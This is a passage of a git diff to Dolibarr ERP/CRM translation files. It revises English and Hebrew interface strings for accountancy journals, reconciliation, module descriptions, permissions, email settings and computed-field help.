missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/he_IL/admin.lang b/htdocs/langs/he_IL/admin.lang index 9d9e1c5fccd..20f49a36223 100644 --- a/htdocs/langs/he_IL/admin.lang +++ b/htdocs/langs/he_IL/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=%s מודול יש להפעיל WarningOnlyPermissionOfActivatedModules=הרשאות רק הקשורים מודולים מופעלים מוצגים כאן. ניתן להפעיל מודולים נוספים ב-Home> Setup-> דף מודולים. DolibarrSetup=Dolibarr להתקין או לשדרג -InternalUser=פנימית המשתמש -ExternalUser=משתמש חיצוני InternalUsers=משתמשים פנימיים ExternalUsers=משתמשים חיצוניים UserInterface=User interface @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Max. number of lines for widgets AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=ברירת המחדל של סדר Position=Position MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=בדוק שליחת HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=שגיאה, לא ניתן להשתמש באפשרות @ אם רצף {yy} {מ"מ} או {yyyy} {מ"מ} אינו מסכה. UMask=UMask פרמטר עבור קבצים חדשים על יוניקס / לינוקס / BSD מערכת הקבצים. -UMaskExplanation=פרמטר זה מאפשר לך להגדיר הרשאות כברירת מחדל על קבצים שנוצרו על ידי Dolibarr בשרת (במהלך הטעינה למשל).
      זה חייב להיות ערך אוקטלי (לדוגמה, 0666 אמצעי קריאה וכתיבה לכולם).
      פרמטר זה הוא חסר תועלת על שרת Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= עיכוב במטמון בתגובה יצוא שניות (0 או ריק מטמון לא) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Phone ExtrafieldPrice = Price +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = ה-IP ExtrafieldSelect = Select list ExtrafieldSelectList = Select from table ExtrafieldSeparator=Separator (not a field) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Link to an object ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -477,7 +479,7 @@ InstalledInto=Installed into directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? AllBarcodeReset=All barcode values have been removed @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field @@ -643,11 +646,13 @@ Module2300Name=Scheduled jobs Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind המרות יכולות Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resources Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=לקרוא חשבוניות של לקוחות +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=צור / לשנות חשבוניות של לקוחות Permission13=Invalidate customer invoices Permission14=אימות חשבוניות של לקוחות @@ -714,6 +724,7 @@ Permission27=מחק הצעות מסחריות Permission28=ייצוא הצעות מסחריות Permission31=קראו מוצרים Permission32=צור / לשנות מוצרים +Permission33=Read prices products Permission34=מחק מוצרים Permission36=ראה / ניהול מוצרים מוסתרים Permission38=ייצוא מוצרים @@ -739,6 +750,7 @@ Permission79=צור / לשנות מנויים Permission81=לקרוא הזמנות הלקוחות Permission82=ליצור / לשנות הזמנות הלקוחות Permission84=תוקף צווי לקוחות +Permission85=Generate the documents sales orders Permission86=שלח הזמנות הלקוחות Permission87=סגור לקוחות הזמנות Permission88=ביטול הזמנות הלקוחות @@ -840,9 +852,9 @@ Permission286=ייצוא אנשי קשר Permission291=קרא את התעריפים Permission292=להגדיר הרשאות על תעריפי את Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=לקרוא שירותים Permission312=Assign service/subscription to contract Permission331=קרא את הסימניות @@ -874,6 +886,7 @@ Permission525=Access loan calculator Permission527=Export loans Permission531=לקרוא שירותים Permission532=יצירה / שינוי שירותים +Permission533=Read prices services Permission534=מחק את השירותים Permission536=ראה / ניהול שירותים נסתרים Permission538=יצוא שירותים @@ -937,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=קבל תוצאה של יצוא Permission1202=יצירה / שינוי של הייצוא -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -968,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=הגדרת הציל SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1219,7 +1237,7 @@ SetupDescription4=%s -> %s

